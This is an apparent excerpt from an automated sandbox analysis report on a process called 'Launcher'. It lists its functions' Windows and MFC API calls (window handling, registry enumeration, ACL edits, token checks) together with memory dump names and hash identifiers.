String ID: CoInitializeEx$OLE32.DLL
API String ID: 145871493-3669712014
Opcode ID: ca41808f82a45e402305716357630a5e52e242afe175e60243e9d97994ebb2b4
Instruction ID: 4791a5d9bd41b3659500a3513b66e775f047b495983354da92885f141e9ad4cf
Opcode Fuzzy Hash: ca41808f82a45e402305716357630a5e52e242afe175e60243e9d97994ebb2b4
Instruction Fuzzy Hash: 01E04F31A416109FDB215F24AC0C78637E5EF11B63F850284EA18A35A0CFB88684D656

Function 00B60900 Relevance: 7.6, APIs: 5, Instructions: 80COMMON

Download Yara Rule

APIs

#2371.MFC42U ref: 00B60917
#6193.MFC42U(00000000,?,?,00000000,00000000,00000015,?), ref: 00B6096E
GetWindowRect.USER32(00000000,?), ref: 00B60939

Part of subcall function 00B5C8A6: ScreenToClient.USER32(?,?), ref: 00B5C8B7
Part of subcall function 00B5C8A6: ScreenToClient.USER32(?,?), ref: 00B5C8C4
Part of subcall function 00B5C8A6: #3133.MFC42U(?,?,?,00B5C46E,?), ref: 00B5C8CC

GetWindowRect.USER32(00000000,?), ref: 00B6098D
#6193.MFC42U(00000000,00000004,?,?,?,00000014,?), ref: 00B609BF

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #6193ClientRectScreenWindow$#2371#3133
String ID:
API String ID: 3329109363-0
Opcode ID: 23e052f698bc4d89b816f3a919020cb23a879f912441f5b4e2eb55458acb9f5d
Instruction ID: 52e015355d5357ffbd02003911a762483cf68b0f1f0b851e68a205b5cf9266f3
Opcode Fuzzy Hash: 23e052f698bc4d89b816f3a919020cb23a879f912441f5b4e2eb55458acb9f5d
Instruction Fuzzy Hash: 71214D71A00209ABDB14DB79CD45FEFB7F9EF84725F040258B525A72C1DB34AA05CB20

Function 00B5C3D0 Relevance: 7.6, APIs: 5, Instructions: 80COMMON

Download Yara Rule

APIs

#2371.MFC42U ref: 00B5C3E7
#6193.MFC42U(00000000,?,?,00000000,00000000,00000015,?), ref: 00B5C43E
GetWindowRect.USER32(00000000,?), ref: 00B5C409

Part of subcall function 00B5C8A6: ScreenToClient.USER32(?,?), ref: 00B5C8B7
Part of subcall function 00B5C8A6: ScreenToClient.USER32(?,?), ref: 00B5C8C4
Part of subcall function 00B5C8A6: #3133.MFC42U(?,?,?,00B5C46E,?), ref: 00B5C8CC

GetWindowRect.USER32(00000000,?), ref: 00B5C45D
#6193.MFC42U(00000000,00000004,?,?,?,00000014,?), ref: 00B5C48F

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #6193ClientRectScreenWindow$#2371#3133
String ID:
API String ID: 3329109363-0
Opcode ID: aedf2b2cf483751e749c0a75945eedb105556e2e33c017c2ed3e5e2229c7e33b
Instruction ID: 1c944f63985b9a4055df9185f83fb5a21bb5b26a9f085f3a19c8c92f6df25676
Opcode Fuzzy Hash: aedf2b2cf483751e749c0a75945eedb105556e2e33c017c2ed3e5e2229c7e33b
Instruction Fuzzy Hash: 1D215E71600209AFDB14DB78CD85FEEBBF9EF88725F144258B525A7281DB34EA05CB60

Function 00B5B6B0 Relevance: 7.5, APIs: 5, Instructions: 39COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00B5B6D7
CoFreeUnusedLibraries.OLE32 ref: 00B5B6EA
GetTickCount.KERNEL32 ref: 00B5B6F0
#4692.MFC42U(?), ref: 00B5B700
GetTickCount.KERNEL32 ref: 00B5B720

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: CountTick$#4692FreeLibrariesUnused
String ID:
API String ID: 1635327766-0
Opcode ID: 56d5741c95ef9ad285203d650d6fd3d5104674088eb9ba61dfded0617491c60b
Instruction ID: 25045ac360a9974f8df4f5f59f47e15e59744c31225196e7b7f54eaa548c4bd7
Opcode Fuzzy Hash: 56d5741c95ef9ad285203d650d6fd3d5104674088eb9ba61dfded0617491c60b
Instruction Fuzzy Hash: 5701D632405140DFD320EB68F899D29F7E5EBC5B22B1001AAF61EC3620CF7459C1EA55

Function 00B60B66 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F02), ref: 00B60B85
SetCursor.USER32(00000000,?,?,?,?,00B5DF45), ref: 00B60B8C

Part of subcall function 00B60BBB: SendMessageW.USER32(?,00001009,00000000,00000000), ref: 00B60BE4
Part of subcall function 00B60BBB: #2634.MFC42U(00000000,?,80000000,?,LaunchPermission), ref: 00B60C33
Part of subcall function 00B60BBB: SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00B60C46
Part of subcall function 00B60BBB: SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00B60C57

#6330.MFC42U(00000000,?,?,?,?,00B5DF45), ref: 00B60B9C
LoadCursorW.USER32(00000000,00007F00), ref: 00B60BA7
SetCursor.USER32(00000000,?,?,?,?,00B5DF45), ref: 00B60BAE

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: Cursor$MessageSend$Load$#2634#6330
String ID:
API String ID: 3859525188-0
Opcode ID: 86503bf1d5e277cd7adde18d857dd7841277f86fe2fb4e7ac392e8cf041cb0e3
Instruction ID: 611affb068a3e9e609a909c6046cf9ab750dc96145ce5166dfb2a22b7450c5aa
Opcode Fuzzy Hash: 86503bf1d5e277cd7adde18d857dd7841277f86fe2fb4e7ac392e8cf041cb0e3
Instruction Fuzzy Hash: 61F030326417146B87056FE59C4DD9BBB5DEF877523000426FA2A9F152CFB99C0586E0

Function 00B5D7A2 Relevance: 7.5, APIs: 5, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

#810.MFC42U(?,00B5D83D), ref: 00B5D7B3
#795.MFC42U(?,00B5D83D), ref: 00B5D7BE
#795.MFC42U(?,00B5D83D), ref: 00B5D7C9
#795.MFC42U(?,00B5D83D), ref: 00B5D7D4
#804.MFC42U(?,00B5D83D), ref: 00B5D7DF

Part of subcall function 00B694F7: #810.MFC42U(?,00B5D7EF,?,00B5D83D), ref: 00B69505

Part of subcall function 00B5C9F5: #800.MFC42U(?,00B5CA4D), ref: 00B5CA06
Part of subcall function 00B5C9F5: #800.MFC42U(?,00B5CA4D), ref: 00B5CA11
Part of subcall function 00B5C9F5: #656.MFC42U(?,00B5CA4D), ref: 00B5CA1C
Part of subcall function 00B5C9F5: #609.MFC42U(?,00B5CA4D), ref: 00B5CA24

Part of subcall function 00B5F46C: #800.MFC42U(?,00B5D805,?,00B5D83D), ref: 00B5F47D
Part of subcall function 00B5F46C: #800.MFC42U(?,00B5D805,?,00B5D83D), ref: 00B5F488
Part of subcall function 00B5F46C: #800.MFC42U(?,00B5D805,?,00B5D83D), ref: 00B5F493
Part of subcall function 00B5F46C: #800.MFC42U(?,00B5D805,?,00B5D83D), ref: 00B5F49E
Part of subcall function 00B5F46C: #616.MFC42U(?,00B5D805,?,00B5D83D), ref: 00B5F4A9
Part of subcall function 00B5F46C: #656.MFC42U(?,00B5D805,?,00B5D83D), ref: 00B5F4B4
Part of subcall function 00B5F46C: #609.MFC42U(?,00B5D805,?,00B5D83D), ref: 00B5F4BF
Part of subcall function 00B5F46C: #609.MFC42U(?,00B5D805,?,00B5D83D), ref: 00B5F4CA
Part of subcall function 00B5F46C: #804.MFC42U(?,00B5D805,?,00B5D83D), ref: 00B5F4D2

Part of subcall function 00B60A74: #693.MFC42U(?,00B5D810,?,00B5D83D), ref: 00B60A85
Part of subcall function 00B60A74: #609.MFC42U(?,00B5D810,?,00B5D83D), ref: 00B60A90
Part of subcall function 00B60A74: #609.MFC42U(?,00B5D810,?,00B5D83D), ref: 00B60A9B
Part of subcall function 00B60A74: #609.MFC42U(?,00B5D810,?,00B5D83D), ref: 00B60AA6
Part of subcall function 00B60A74: #609.MFC42U(?,00B5D810,?,00B5D83D), ref: 00B60AAE

Part of subcall function 00B5C53F: #693.MFC42U(?,00B5C5BD), ref: 00B5C550
Part of subcall function 00B5C53F: #609.MFC42U(?,00B5C5BD), ref: 00B5C55B
Part of subcall function 00B5C53F: #609.MFC42U(?,00B5C5BD), ref: 00B5C566
Part of subcall function 00B5C53F: #609.MFC42U(?,00B5C5BD), ref: 00B5C56E

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #609$#800$#795$#656#693#804#810$#616
String ID:
API String ID: 1443703491-0
Opcode ID: 664564a3a2e505e4640046fc49131ec0d5b819741659db4c58cd7d6562610c04
Instruction ID: 9dd4d36bde4b7de60c6337ea6bc14d043411cd6541f8a37fd199b64afe4a88e4
Opcode Fuzzy Hash: 664564a3a2e505e4640046fc49131ec0d5b819741659db4c58cd7d6562610c04
Instruction Fuzzy Hash: 7DF0AF354146528AC338FB70D4916EEB3E1BF64351F9045EDA4BF02152AF787909CF80

Function 00B5C9F5 Relevance: 7.5, APIs: 5, Instructions: 16COMMONLIBRARYCODE

Download Yara Rule

APIs

#800.MFC42U(?,00B5CA4D), ref: 00B5CA06
#800.MFC42U(?,00B5CA4D), ref: 00B5CA11
#656.MFC42U(?,00B5CA4D), ref: 00B5CA1C
#609.MFC42U(?,00B5CA4D), ref: 00B5CA24

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #800$#609#656
String ID:
API String ID: 1737153938-0
Opcode ID: 09f7fbdb36d0fdf3af25d079bf878102d05fbb2a37653fdeac0668be7d65acc9
Instruction ID: bc87c58b7bb9af94f3166cc1b85aaf12cb9fd52e2abd346c394aee121f04b413
Opcode Fuzzy Hash: 09f7fbdb36d0fdf3af25d079bf878102d05fbb2a37653fdeac0668be7d65acc9
Instruction Fuzzy Hash: 1CE01236540511CBC335FB20D592AE9B7D1AF65311F5009BEE5A703591AF746A49CB40

Function 00B5B463 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Kernel32.dll), ref: 00B5B468
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 00B5B479

Strings

HeapSetInformation, xrefs: 00B5B473
Kernel32.dll, xrefs: 00B5B463

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: HeapSetInformation$Kernel32.dll
API String ID: 1646373207-3460614246
Opcode ID: b43555d3472996d248fc14d34ec9cce4ee5040c8ded12eb46c6adbf7d69e481e
Instruction ID: 3070ff6a61116be00c9c33010da412632b1039f4eb6615d6b3ff881e2eb0cf25
Opcode Fuzzy Hash: b43555d3472996d248fc14d34ec9cce4ee5040c8ded12eb46c6adbf7d69e481e
Instruction Fuzzy Hash: 73D01770B412256ADB6127B57C4CF6B2DEEDB00B9370008D0BD0AD32A1CFA08C848AA2

Function 00B63940 Relevance: 6.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

#861.MFC42U(?,00000001), ref: 00B639C4
#6325.MFC42U(?,00000001,00000000), ref: 00B63A4F

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #6325#861
String ID:
API String ID: 3876780826-0
Opcode ID: 11bf13d6e1278e883347fa8d04caa06448ac0471fcfa477630d40235be1b85f5
Instruction ID: 52fcaeebefff8b4e1a3f372b6bf54358ee216b2c3aac4b6c7328b71b024fa189
Opcode Fuzzy Hash: 11bf13d6e1278e883347fa8d04caa06448ac0471fcfa477630d40235be1b85f5
Instruction Fuzzy Hash: 4841CD35A10208EFDB01DF98C881BADBBF1BF49714F204099E815AB391C7B5AE40DB54

Function 00B6C80A Relevance: 6.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetAclInformation.ADVAPI32(?,?,0000000C,00000002,00000000,00000000,00000000,?,?,?,?,?,00B6C6E4,00000000,00000000), ref: 00B6C83D
GetAce.ADVAPI32(?,00000000,?,?,?,?,?,?,00B6C6E4,00000000,00000000), ref: 00B6C854
AddAce.ADVAPI32(?,00000002,000000FF,?,?,?,?,?,?,?,00B6C6E4,00000000,00000000), ref: 00B6C86C
GetLastError.KERNEL32(?,?,?,?,?,00B6C6E4,00000000,00000000), ref: 00B6C88F

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: ErrorInformationLast
String ID:
API String ID: 3635006208-0
Opcode ID: ce85cf74fd02700be626569595191541befa10ad883cd4a2eb59fb714035a479
Instruction ID: 3506284bd77eedfe5beeab029419b29eed4c3e1a5bcdd7a642d82a60f92a96af
Opcode Fuzzy Hash: ce85cf74fd02700be626569595191541befa10ad883cd4a2eb59fb714035a479
Instruction Fuzzy Hash: 6411CE71600115ABD720EBA69C85EBFBBECFB44B00B2001A9B949E7180EB38D900C7B0

Function 00B67419 Relevance: 6.1, APIs: 4, Instructions: 61registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,00000040), ref: 00B6743B
RegOpenKeyW.ADVAPI32(00000000,?,?), ref: 00B6745D
RegEnumKeyW.ADVAPI32(?,00000000,?,00000040), ref: 00B67496
RegQueryValueW.ADVAPI32(?,?,?,00000208), ref: 00B674C9
CLSIDFromString.OLE32(00000000,-00000008), ref: 00B67570
wcstol.MSVCRT ref: 00B67610
wcsrchr.MSVCRT ref: 00B6762C
wcstol.MSVCRT ref: 00B67650
wsprintfW.USER32 ref: 00B67696
wsprintfW.USER32 ref: 00B676B9
RegCloseKey.ADVAPI32(?), ref: 00B67743
RegCloseKey.ADVAPI32(00000000), ref: 00B67754

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: CloseEnumwcstolwsprintf$FromOpenQueryStringValuewcsrchr
String ID:
API String ID: 1473628064-0
Opcode ID: c96079c1efc161d108b3ea347052e61bde25e28c25dbc1ceab75344073b0b533
Instruction ID: e186babee2811c467b9b4680c230379b53aa2aa6c477f65cda879fd4f2483131
Opcode Fuzzy Hash: c96079c1efc161d108b3ea347052e61bde25e28c25dbc1ceab75344073b0b533
Instruction Fuzzy Hash: 8F218C71D482289EEB61DB60CC84BE9B7B8EB14315F1000E9E60EA6150DB78AFC4EF51

Function 00B5CED0 Relevance: 6.0, APIs: 4, Instructions: 44windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00B5CEE9
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00B5CF05
#3297.MFC42U(00000000,00000001,?,00000028), ref: 00B5CF30
#2637.MFC42U(00000001,00000000,00000001,?,00000028), ref: 00B5CF39

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: MessageSend$#2637#3297
String ID:
API String ID: 837686103-0
Opcode ID: c4a3bde595a0a13caf4174176be277d37f79711220bcafcf28c1e45abb7edbe5
Instruction ID: 407da9a0ea0a7d82c2707fa054dd41125f836c1d62002918223e5939de9968ec
Opcode Fuzzy Hash: c4a3bde595a0a13caf4174176be277d37f79711220bcafcf28c1e45abb7edbe5
Instruction Fuzzy Hash: 1DF0FC313403517BF3355A61CC86FE7BF9AFB80752F010061FA059A0C1CBE16C5583A1

Function 00B6CAD4 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000000,?,?,00B6CE14,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B6CAF9
OpenProcessToken.ADVAPI32(00000000,?,?,00B6CE14,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B6CB00
GetLastError.KERNEL32(?,?,00B6CE14,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B6CB0A

Part of subcall function 00B6CB3B: GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00000000,?,00000000,?,?,?,?,00B6CB28,00000000,00000000,?), ref: 00B6CB71
Part of subcall function 00B6CB3B: GetLastError.KERNEL32(?,?,?,00B6CB28,00000000,00000000,?,?,?,00B6CE14,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B6CB77

CloseHandle.KERNEL32(00000000,00000000,00000000,?,?,?,00B6CE14,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B6CB2D

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: ErrorLastProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 1647960853-0
Opcode ID: 5aafcfd31b341ab21d230c1afbb206eb7574c99ce01cafe8834729f0c668c6e4
Instruction ID: aff04ea14b209fe00ab6b22d100fbef6f16aa18d21fcdcdda53d8e4cd70db3ad
Opcode Fuzzy Hash: 5aafcfd31b341ab21d230c1afbb206eb7574c99ce01cafe8834729f0c668c6e4
Instruction Fuzzy Hash: 65F03172600119EBCB109FA59C09AAB7FF8EF95751B144165B989E7210EB38DD4097A0

Function 00B6F25C Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00B73B00,?,?,00B5B731,00B73998), ref: 00B6F268
LeaveCriticalSection.KERNEL32(00B73B00,?,?,00B5B731,00B73998), ref: 00B6F29B
SetEvent.KERNEL32(00000000,00B5B731,00B73998), ref: 00B6F32B
ResetEvent.KERNEL32 ref: 00B6F337

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: CriticalEventSection$EnterLeaveReset
String ID:
API String ID: 3553466030-0
Opcode ID: 44d47876a315e82b08d6e33b90b9e6595d8155797ee304f0f3ce253a41ef16eb
Instruction ID: a92c381a79c74ca867639a9d90584e0e7ea72918bb139a63312eb83209f807d4
Opcode Fuzzy Hash: 44d47876a315e82b08d6e33b90b9e6595d8155797ee304f0f3ce253a41ef16eb
Instruction Fuzzy Hash: 10012C356002609BCB049F58FC58D557BE4FB49B027414069E90AE7720CF306A81EF96

Function 00B5EEC0 Relevance: 6.0, APIs: 4, Instructions: 35windowCOMMON

Download Yara Rule

APIs

#6330.MFC42U(00000001), ref: 00B5EEC9
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B5EEDE
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B5EEF2
#2634.MFC42U(00000001), ref: 00B5EF13

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: MessageSend$#2634#6330
String ID:
API String ID: 3857549013-0
Opcode ID: c92f0dddebc36b1ea7c47185abc3a3b8f34c7f1587c53ddba12edc1bdd1e35c1
Instruction ID: 3caa57d7d806b40e17d6d26131683ce7e0957d3b4ad851e64eabf2492536f85c
Opcode Fuzzy Hash: c92f0dddebc36b1ea7c47185abc3a3b8f34c7f1587c53ddba12edc1bdd1e35c1
Instruction Fuzzy Hash: A8F0A0301007487BF63A5632DD89F97BAFADBC3752F510499F52996062CF719D80C720

Function 00B5E409 Relevance: 6.0, APIs: 4, Instructions: 32windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001304,00000000,00000000), ref: 00B5E41E
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B5E436

Part of subcall function 00B5E583: #6211.MFC42U(?,0000130B,?,?,00B5D5AA,00000000), ref: 00B5E5BE
Part of subcall function 00B5E583: RedrawWindow.USER32(?,00000000,00000000,00000105,?,0000130B,?,?,00B5D5AA,00000000), ref: 00B5E669

SendMessageW.USER32(?,00001309,00000000,00000000), ref: 00B5E451
#6211.MFC42U(00000000), ref: 00B5E45E

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: MessageSend$#6211$RedrawWindow
String ID:
API String ID: 1685024686-0
Opcode ID: e78ccb657aaaa11b48c1e22b4e139692f5c597e3702ddcceabf2081eef9456ee
Instruction ID: a9a1ab13398d5ed90638ed66c26922954bfeb8622f2e3f51b9c06b7e4b1d253c
Opcode Fuzzy Hash: e78ccb657aaaa11b48c1e22b4e139692f5c597e3702ddcceabf2081eef9456ee
Instruction Fuzzy Hash: 3FF0C0355045407AE6361736EC1DEDB6EFDEBC6B12F06045CF62E920609F656A41CAB0

Function 00B5C6A6 Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F02), ref: 00B5C6C5
SetCursor.USER32(00000000), ref: 00B5C6CC

Part of subcall function 00B5C6F3: SendMessageW.USER32(?,00001009,00000000,00000000), ref: 00B5C722
Part of subcall function 00B5C6F3: SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00B5C78D
Part of subcall function 00B5C6F3: SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00B5C79D
Part of subcall function 00B5C6F3: #2634.MFC42U(00000001,?,?,?,?), ref: 00B5C7C8
Part of subcall function 00B5C6F3: #2634.MFC42U(00000001,00000001,?,?,?,?), ref: 00B5C7D4

LoadCursorW.USER32(00000000,00007F00), ref: 00B5C6DF
SetCursor.USER32(00000000), ref: 00B5C6E6

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: Cursor$MessageSend$#2634Load
String ID:
API String ID: 1037744270-0
Opcode ID: 4446a10e490e3cdcff5412707e7a21099e7dd5f921ed9f603860cfb51f6767cb
Instruction ID: 9f52aa3c385057bb725b69aabc068ab064139b67bfbc999a8814c373a5cdf75c
Opcode Fuzzy Hash: 4446a10e490e3cdcff5412707e7a21099e7dd5f921ed9f603860cfb51f6767cb
Instruction Fuzzy Hash: D8E0A932600210AB8701AFE1AC4998BBB1DEF863523000022FA2A9B102CBB86909C6E0

Function 00B5D8F0 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

#2294.MFC42U(?,0000009E,?), ref: 00B5D907
#2294.MFC42U(?,00000076,?,?,0000009E,?), ref: 00B5D918
#2294.MFC42U(?,00000077,?,?,00000076,?,?,0000009E,?), ref: 00B5D929
#2294.MFC42U(?,0000007E,?,?,00000077,?,?,00000076,?,?,0000009E,?), ref: 00B5D93A

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

